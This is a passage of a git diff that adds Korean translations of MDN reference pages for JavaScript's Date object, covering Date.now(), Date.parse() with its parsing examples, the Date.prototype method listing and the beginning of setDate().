+<p>In this case it's important to return only an integer (so a simple division won't do), and also to only return actually elapsed seconds (that's why this code uses {{jsxref("Math.floor()")}} and not {{jsxref("Math.round()")}}).</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date-objects', 'Date')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date-objects', 'Date')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9', 'Date')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Date", 3)}}</p>
diff --git a/files/ko/web/javascript/reference/global_objects/date/now/index.html b/files/ko/web/javascript/reference/global_objects/date/now/index.html
new file mode 100644
index 0000000000..323df8ad45
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/now/index.html
@@ -0,0 +1,119 @@
+---
+title: Date.now()
+slug: Web/JavaScript/Reference/Global_Objects/Date/now
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/now
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Date.now()</code></strong> 메소드는 UTC 기준으로 1970년 1월 1일 0시 0분 0초부터 현재까지 경과된 밀리 초를 반환합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>var timeInMs = Date.now();</code></pre>
+
+<h3 id="인자">인자</h3>
+
+<p>없음</p>
+
+<h2 id="설명">설명</h2>
+
+<p>now() 메소드는 1970년 1월 1일 0시 0분 0초부터 현재까지 경과된 밀리 초를 {{jsxref("Number")}} 형으로 반환합니다.</p>
+
+<p>now()는 {{jsxref("Date")}}의 정적 메소드이기 때문에, 항상 <code>Date.now() 처럼 사용하셔야 합니다.</code></p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>이 메소든는 ECMA-262 5판에서 표준화되었습니다. 아직 이 메소드를 지원하도록 갱신되지 않은 엔진들은 이 메소드의 미지원에 대한 차선책으로 다음 코드를 활용하실 수 있습니다.</p>
+
+<pre class="brush: js">if (!Date.now) {
+  Date.now = function now() {
+    return new Date().getTime();
+  };
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.4.4', 'Date.now')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.now', 'Date.now')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.now', 'Date.now')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("5")}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("10.50")}}</td>
+   <td>{{CompatSafari("4")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Performance.now()")}} — provides timestamps with sub-millisecond resolution for use in measuring web page performance</li>
+ <li>{{domxref("console.time()")}} / {{domxref("console.timeEnd()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/parse/index.html b/files/ko/web/javascript/reference/global_objects/date/parse/index.html
new file mode 100644
index 0000000000..57e8effa54
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/parse/index.html
@@ -0,0 +1,231 @@
+---
+title: Date.parse()
+slug: Web/JavaScript/Reference/Global_Objects/Date/parse
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/parse
+---
+<div>{{JSRef}}</div>
+
+<p>Date.parse () 메서드는 날짜의 문자열 표현을 구문 분석하고 1970 년 1 월 1 일 00:00:00 UTC 이후의 밀리 초 수를 반환하거나 문자열이 인식되지 않거나 경우에 따라 잘못된 날짜 값을 포함하는 경우 NaN을 반환합니다. (예 : 2015-02-31).</p>
+
+<p>ES5까지는 Date.parse를 사용하지 않는 것이 좋습니다. 문자열 구문 분석은 전적으로 구현에 따라 다릅니다. 다른 호스트가 날짜 문자열을 구문 분석하는 방법에는 여전히 많은 차이점이 있으므로 날짜 문자열을 수동으로 구문 분석해야합니다 (다양한 형식을 수용하면 라이브러리가 도움이 될 수 있습니다).</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>Direct call:</p>
+
+<pre class="syntaxbox">Date.parse(<var>dateString</var>)</pre>
+
+<p>Implicit call:</p>
+
+<pre class="syntaxbox">new Date(<var>dateString</var>)</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>dateString</code></dt>
+ <dd>RFC2822 또는 ISO 8601 날짜를 나타내는 문자열 (다른 형식도 사용할 수 있지만 예기치 않은 결과 일 수 있음)</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC 이후 경과 된 밀리 초를 나타내는 숫자 및 주어진 문자열 표현을 파싱하여 얻은 날짜입니다. 인수가 유효한 날짜를 나타내지 않으면 {{jsxref ( "NaN")}}이 반환됩니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>parse () 메서드는 날짜 문자열 (예 : "Dec 25, 1995")을 사용하고 1970 년 1 월 1 일 00:00:00 UTC 이후의 밀리 초 수를 반환합니다. 이 함수는 예를 들어 {{jsxref("Date.prototype.setTime()", "setTime()")}} 메서드 및 {{jsxref ( "Global_Objects / Date ","Date ")}} 객체를 반환합니다.</p>
+
+<p>주어진 시간을 나타내는 문자열이 주어지면 parse ()는 시간 값을 반환합니다. RFC2822 / IETF 날짜 구문 (RFC2822 섹션 3.3)을 받아들입니다. "Mon, 25 Dec 1995 13:30:00 GMT". 미국 대륙의 표준 시간대 약어를 이해하지만, 일반적으로 "Mon, 25 Dec 1995 13:30:00 +0430"(그리니치 자오선의 동쪽으로 4 시간 30 분)과 같이 시간대 오프셋을 사용하십시오.</p>
+
+<p>GMT와 UTC는 동등한 것으로 간주됩니다. 현지 시간대는 시간대 정보가없는 RFC2822 섹션 3.3 형식의 인수를 해석하는 데 사용됩니다.</p>
+
+<p>날짜 문자열 구문 분석의 차이로 인해 결과가 일관되지 않아 문자열을 수동으로 구문 분석하는 것이 좋습니다. 특히 "2015-10-12 12:00:00"과 같은 문자열을 NaN으로 구문 분석 할 수있는 다른 ECMAScript 구현, UTC 또는 현지 시간대.</p>
+
+<h3 id="ECMAScript_5_ISO-8601_format_support">ECMAScript 5 ISO-8601 format support</h3>
+
+<p>날짜 시간 문자열은 ISO 8601 형식 일 수 있습니다. 예를 들어, "2011-10-10"(날짜 만) 또는 "2011-10-10T14 : 48 : 00"(날짜 및 시간)을 전달하고 구문 분석 할 수 있습니다. 문자열이 ISO 8601 날짜 인 경우 UTC 시간대는 인수를 해석하는 데 사용됩니다. 문자열이 ISO 8601 형식의 날짜 및 시간이면 로컬로 처리됩니다.</p>
+
+<p>날짜 문자열 구문 분석 중에 시간대 지정자를 사용하여 인수를 해석하지만 반환되는 값은 1970 년 1 월 1 일 00:00:00 UTC와 인수 또는 NaN이 나타내는 시점 사이의 밀리 초입니다.</p>
+
+<p>parse ()는 {{jsxref ( "Date")}}의 정적 메서드이기 때문에 {{jsxref ( "Date")}} 인스턴스의 메서드가 아닌 Date.parse ()로 호출됩니다.</p>
+
+<h3 id="가정_된_시간대의_차이점">가정 된 시간대의 차이점</h3>
+
+<p>"March 7, 2014"이라는 날짜 문자열이 주어지면 parse ()는 현지 시간대를 사용하지만 "2014-03-07"과 같은 ISO 형식이 주어지면 UTC (ES5 및 ECMAScript 2015)의 시간대로 가정합니다. 따라서 {{jsxref ( "Date")}} 이러한 문자열을 사용하여 생성 된 객체는 시스템이 현지 표준 시간대 (UTC)로 설정되어 있지 않으면 지원되는 ECMAScript 버전에 따라 다른 순간을 나타낼 수 있습니다. 즉, 변환되는 문자열의 형식에 따라 동등하게 나타나는 두 개의 날짜 문자열이 서로 다른 두 개의 값을 가질 수 있습니다.</p>
+
+<h3 id="구현_특정_날짜_형식으로_폴백">구현 특정 날짜 형식으로 폴백</h3>
+
+<p>ECMAScript 사양은 다음과 같이 설명합니다. String이 표준 형식을 준수하지 않으면 함수는 구현 특정 휴리스틱 또는 구현 특정 파싱 알고리즘으로 폴백 할 수 있습니다. 인식 할 수없는 문자열 또는 ISO 형식의 문자열에 잘못된 요소 값이 포함 된 날짜로 인해 Date.parse ()가 {{jsxref ( "NaN")}}을 반환합니다.</p>
+
+<p>그러나 ECMA-262에 정의 된 ISO 형식으로 인식되지 않는 날짜 문자열의 잘못된 값은 제공된 브라우저 및 값에 따라 {{jsxref ( "NaN")}}이 될 수도 있고 그렇지 않을 수도 있습니다 (예 :</p>
+
+<pre class="brush: js">// Non-ISO string with invalid date values
+new Date('23/25/2014');
+</pre>
+
+<p>Firefox 30에서는 2015 년 11 월 25 일, Safari 7에서는 유효하지 않은 날짜로 처리됩니다. 그러나 문자열이 ISO 형식 문자열로 인식되고 유효하지 않은 값을 포함하면 {{jsxref ( "NaN ")}} ES5 이상을 준수하는 모든 브라우저에서 :</p>
+
+<pre class="brush: js">// ISO string with invalid values
+new Date('2014-25-23').toISOString();
+// returns "RangeError: invalid date" in all es5 compliant browsers
+</pre>
+
+<p>SpiderMonkey의 구현 관련 추론은 jsdate.cpp에서 찾을 수 있습니다. 문자열 "10 06 2014"는 부적합한 ISO 형식의 예이므로 맞춤 루틴으로 되돌아갑니다. 파싱이 어떻게 작동하는지에 대한 대략적인 개요를 참조하십시오.</p>
+
+<pre class="brush: js">new Date('10 06 2014');
+</pre>
+
+<p>2014 년 10 월 6 일과 2014 년 6 월 10 일이 아닌 현지 날짜로 취급됩니다. 다른 예 :</p>
+
+<pre class="brush: js">new Date('foo-bar 2014').toString();
+// returns: "Invalid Date"
+
+Date.parse('foo-bar 2014');
+// returns: NaN
+</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_Date.parse()">Using <code>Date.parse()</code></h3>
+
+<p>IPOdate가 기존의 {{jsxref ( "Date")}} 객체 인 경우 다음과 같이 1995 년 8 월 9 일 (현지 시간)으로 설정할 수 있습니다.</p>
+
+<pre class="brush: js">IPOdate.setTime(Date.parse('Aug 9, 1995'));</pre>
+
+<p>표준이 아닌 날짜 문자열을 파싱하는 몇 가지 다른 예는 다음과 같습니다.</p>
+
+<pre class="brush: js">Date.parse('Aug 9, 1995');</pre>
+
+<p>문자열이 표준 시간대를 지정하지 않고 ISO 형식이 아니므로 표준 시간대 GMT-0300의 807937200000과 다른 표준 시간대의 다른 값을 반환하므로 표준 시간대는 기본적으로 local입니다.</p>
+
+<pre class="brush: js">Date.parse('Wed, 09 Aug 1995 00:00:00 GMT');</pre>
+
+<p>GMT (UTC)가 제공되는 현지 시간대와 상관없이 807926400000을 반환합니다.</p>
+
+<pre class="brush: js">Date.parse('Wed, 09 Aug 1995 00:00:00');</pre>
+
+<p>인수에 표준 시간대 지정자가 없으므로 ISO 형식이 아니기 때문에 표준 시간대 GMT-0300에서 807937200000과 다른 표준 시간대의 다른 값을 반환하므로 로컬로 처리됩니다.</p>
+
+<pre class="brush: js">Date.parse('Thu, 01 Jan 1970 00:00:00 GMT');</pre>
+
+<p>현지 시간대와 상관없이 0을 반환합니다. GMT (UTC)가 제공됩니다.</p>
+
+<pre class="brush: js">Date.parse('Thu, 01 Jan 1970 00:00:00');</pre>
+
+<p>표준 시간대가 제공되지 않고 문자열이 ISO 형식이 아니기 때문에 표준 시간대 GMT-0400의 14400000과 다른 표준 시간대의 다른 값을 반환하므로 현지 표준 시간대가 사용됩니다.</p>
+
+<pre class="brush: js">Date.parse('Thu, 01 Jan 1970 00:00:00 GMT-0400');</pre>
+
+<p>현지 시간대와 관계없이 14400000을 반환합니다. GMT (UTC)가 제공됩니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.4.2', 'Date.parse')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>ISO 8601 format added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.parse', 'Date.parse')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.parse', 'Date.parse')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>ISO 8601 format</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckodesktop("2.0")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>ISO 8601 format</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<ul>
+ <li>Firefox 49 {{geckoRelease(49)}} changed the parsing of 2-digit years to be aligned with the Google Chrome browser instead of Internet Explorer. Now, 2-digit years that are less than or equal to <code>50</code> are parsed as 21st century years. For example, <code>04/16/17</code>, previously parsed as April 16, 1917, will be April 16, 2017 now. To avoid any interoperability issues or ambiguous years, it is recommended to use the ISO 8601 format like "2017-04-16" ({{bug(1265136)}}).</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.UTC()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/prototype/index.html b/files/ko/web/javascript/reference/global_objects/date/prototype/index.html
new file mode 100644
index 0000000000..7fe5dc9617
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/prototype/index.html
@@ -0,0 +1,182 @@
+---
+title: Date.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Date/prototype
+tags:
+  - Date
+  - JavaScript
+  - Property
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Date.prototype</code></strong> 속성은 {{jsxref("Date")}} 생성자의 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0, 0, 1)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>JavaScript {{jsxref("Date")}} 인스턴스는 <code>Date.prototype</code>을 상속합니다. 생성자의 프로토타입을 변경해 모든 <code>Date</code> 인스턴스의 속성과 메서드를 수정할 수 있습니다.</p>
+
+<p>2000년대 달력과의 호환성을 위해 연도는 언제나 완전하게 네 자리 숫자로 작성해야 합니다. 즉 98 대신 1998이 올바른 작성법입니다. <code>Date</code>는 완전한 연도 설정에 도움이 될 {{jsxref("Date.prototype.getFullYear()", "getFullYear()")}}, {{jsxref("Date.prototype.setFullYear()", "setFullYear()")}}, {{jsxref("Date.prototype.getUTCFullYear()", "getUTCFullYear()")}}, {{jsxref("Date.prototype.setUTCFullYear()", "setUTCFullYear()")}} 메서드를 가지고 있습니다.</p>
+
+<p>ECMAScript 6부터 <code>Date.prototype</code>은 {{jsxref("Date")}} 인스턴스가 아닌 평범한 객체입니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>Date.prototype.constructor</code></dt>
+ <dd>인스턴스 생성에 사용한 생성자를 반환합니다. 기본값은 {{jsxref("Date")}}입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<h3 id="접근자">접근자</h3>
+
+<dl>
+ <dt>{{jsxref("Date.prototype.getDate()")}}</dt>
+ <dd>주어진 날짜의 일(1-31)을 현지 시간에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getDay()")}}</dt>
+ <dd>주어진 날짜의 요일(0-6)을 현지 시간에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getFullYear()")}}</dt>
+ <dd>주어진 날짜의 연도(4자리 수)를 현지 시간에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getHours()")}}</dt>
+ <dd>주어진 날짜의 시(0-23)를 현지 시간에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getMilliseconds()")}}</dt>
+ <dd>주어진 날짜의 밀리초(0-999)를 현지 시간에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getMinutes()")}}</dt>
+ <dd>주어진 날짜의 분(0-59)을 현지 시간에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getMonth()")}}</dt>
+ <dd>주어진 날짜의 월(0-11)을 현지 시간에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getSeconds()")}}</dt>
+ <dd>주어진 날짜의 초(0-59)를 현지 시간에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getTime()")}}</dt>
+ <dd>주어진 날짜와 1970년 1월 1일 0시 0분(UTC)의 차이를 밀리초로 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getTimezoneOffset()")}}</dt>
+ <dd>현재 로케일의 시간대 차이를 분으로 환산해 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCDate()")}}</dt>
+ <dd>주어진 날짜의 일(1-31)을 UTC에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCDay()")}}</dt>
+ <dd>주어진 날짜의 요일(0-6)을 UTC에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCFullYear()")}}</dt>
+ <dd>주어진 날짜의 연도(4자리 수)를 UTC에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCHours()")}}</dt>
+ <dd>주어진 날짜의 시(0-23)를 UTC에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</dt>
+ <dd>주어진 날짜의 밀리초(0-999)를 UTC에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCMinutes()")}}</dt>
+ <dd>주어진 날짜의 분(0-59)을 UTC에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCMonth()")}}</dt>
+ <dd>주어진 날짜의 월(0-11)을 UTC에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCSeconds()")}}</dt>
+ <dd>주어진 날짜의 초(0-59)를 UTC에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getYear()")}} {{deprecated_inline}}</dt>
+ <dd>주어진 날짜의 연도(주로 두세자리 숫자)를 현지 시간에 맞춰 반환합니다. {{jsxref("Date.prototype.getFullYear()", "getFullYear()")}}를 사용하세요.</dd>
+</dl>
+
+<h3 id="설정자">설정자</h3>
+
+<dl>
+ <dt>{{jsxref("Date.prototype.setDate()")}}</dt>
+ <dd>Sets the day of the month for a specified date according to local time.</dd>
+ <dt>{{jsxref("Date.prototype.setFullYear()")}}</dt>
+ <dd>Sets the full year (e.g. 4 digits for 4-digit years) for a specified date according to local time.</dd>
+ <dt>{{jsxref("Date.prototype.setHours()")}}</dt>
+ <dd>Sets the hours for a specified date according to local time.</dd>
+ <dt>{{jsxref("Date.prototype.setMilliseconds()")}}</dt>
+ <dd>Sets the milliseconds for a specified date according to local time.</dd>
+ <dt>{{jsxref("Date.prototype.setMinutes()")}}</dt>
+ <dd>Sets the minutes for a specified date according to local time.</dd>
+ <dt>{{jsxref("Date.prototype.setMonth()")}}</dt>
+ <dd>Sets the month for a specified date according to local time.</dd>
+ <dt>{{jsxref("Date.prototype.setSeconds()")}}</dt>
+ <dd>Sets the seconds for a specified date according to local time.</dd>
+ <dt>{{jsxref("Date.prototype.setTime()")}}</dt>
+ <dd>Sets the {{jsxref("Date")}} object to the time represented by a number of milliseconds since January 1, 1970, 00:00:00 UTC, allowing for negative numbers for times prior.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCDate()")}}</dt>
+ <dd>Sets the day of the month for a specified date according to universal time.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCFullYear()")}}</dt>
+ <dd>Sets the full year (e.g. 4 digits for 4-digit years) for a specified date according to universal time.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCHours()")}}</dt>
+ <dd>Sets the hour for a specified date according to universal time.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCMilliseconds()")}}</dt>
+ <dd>Sets the milliseconds for a specified date according to universal time.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCMinutes()")}}</dt>
+ <dd>Sets the minutes for a specified date according to universal time.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCMonth()")}}</dt>
+ <dd>Sets the month for a specified date according to universal time.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCSeconds()")}}</dt>
+ <dd>Sets the seconds for a specified date according to universal time.</dd>
+ <dt>{{jsxref("Date.prototype.setYear()")}} {{deprecated_inline}}</dt>
+ <dd>Sets the year (usually 2-3 digits) for a specified date according to local time. Use {{jsxref("Date.prototype.setFullYear()", "setFullYear()")}} instead.</dd>
+</dl>
+
+<h3 id="변환_접근자">변환 접근자</h3>
+
+<dl>
+ <dt>{{jsxref("Date.prototype.toDateString()")}}</dt>
+ <dd>Returns the "date" portion of the {{jsxref("Date")}} as a human-readable string like 'Thu Apr 12 2018'</dd>
+ <dt>{{jsxref("Date.prototype.toISOString()")}}</dt>
+ <dd>Converts a date to a string following the ISO 8601 Extended Format.</dd>
+ <dt>{{jsxref("Date.prototype.toJSON()")}}</dt>
+ <dd>Returns a string representing the {{jsxref("Date")}} using {{jsxref("Date.prototype.toISOString()", "toISOString()")}}. Intended for use by {{jsxref("JSON.stringify()")}}.</dd>
+ <dt>{{jsxref("Date.prototype.toGMTString()")}} {{deprecated_inline}}</dt>
+ <dd>Returns a string representing the {{jsxref("Date")}} based on the GMT (UT) time zone. Use {{jsxref("Date.prototype.toUTCString()", "toUTCString()")}} instead.</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleDateString()")}}</dt>
+ <dd>Returns a string with a locality sensitive representation of the date portion of this date based on system settings.</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleFormat()")}} {{non-standard_inline}}</dt>
+ <dd>Converts a date to a string, using a format string.</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleString()")}}</dt>
+ <dd>Returns a string with a locality sensitive representation of this date. Overrides the {{jsxref("Object.prototype.toLocaleString()")}} method.</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleTimeString()")}}</dt>
+ <dd>Returns a string with a locality sensitive representation of the time portion of this date based on system settings.</dd>
+ <dt>{{jsxref("Date.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Returns a string representing the source for an equivalent {{jsxref("Date")}} object; you can use this value to create a new object. Overrides the {{jsxref("Object.prototype.toSource()")}} method.</dd>
+ <dt>{{jsxref("Date.prototype.toString()")}}</dt>
+ <dd>Returns a string representing the specified {{jsxref("Date")}} object. Overrides the {{jsxref("Object.prototype.toString()")}} method.</dd>
+ <dt>{{jsxref("Date.prototype.toTimeString()")}}</dt>
+ <dd>Returns the "time" portion of the {{jsxref("Date")}} as a human-readable string.</dd>
+ <dt>{{jsxref("Date.prototype.toUTCString()")}}</dt>
+ <dd>Converts a date to a string using the UTC timezone.</dd>
+ <dt>{{jsxref("Date.prototype.valueOf()")}}</dt>
+ <dd>Returns the primitive value of a {{jsxref("Date")}} object. Overrides the {{jsxref("Object.prototype.valueOf()")}} method.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5', 'Date.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-the-date-prototype-object', 'Date.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-properties-of-the-date-prototype-object', 'Date.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.prototype")}}</p>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setdate/index.html b/files/ko/web/javascript/reference/global_objects/date/setdate/index.html
new file mode 100644
index 0000000000..17f2b8aa02
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setdate/index.html
@@ -0,0 +1,127 @@
+---
+title: Date.prototype.setDate()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setDate
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setDate
+---
+<div>{{JSRef}}</div>
+
+<p><strong>setDate()</strong> 메서드는 현재 설정된 월의 시작 부분을 기준으로 {{jsxref ( "Date")}} 객체의 날짜를 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setDate(<var>dayValue</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>dayValue</code></dt>
+ <dd>월의 일을 나타내는 정수입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 주어진 날짜 사이의 밀리 초 ({{jsxref ( "Date")}} 개체도 변경됩니다).</p>
+
+<h2 id="Description">Description</h2>
+
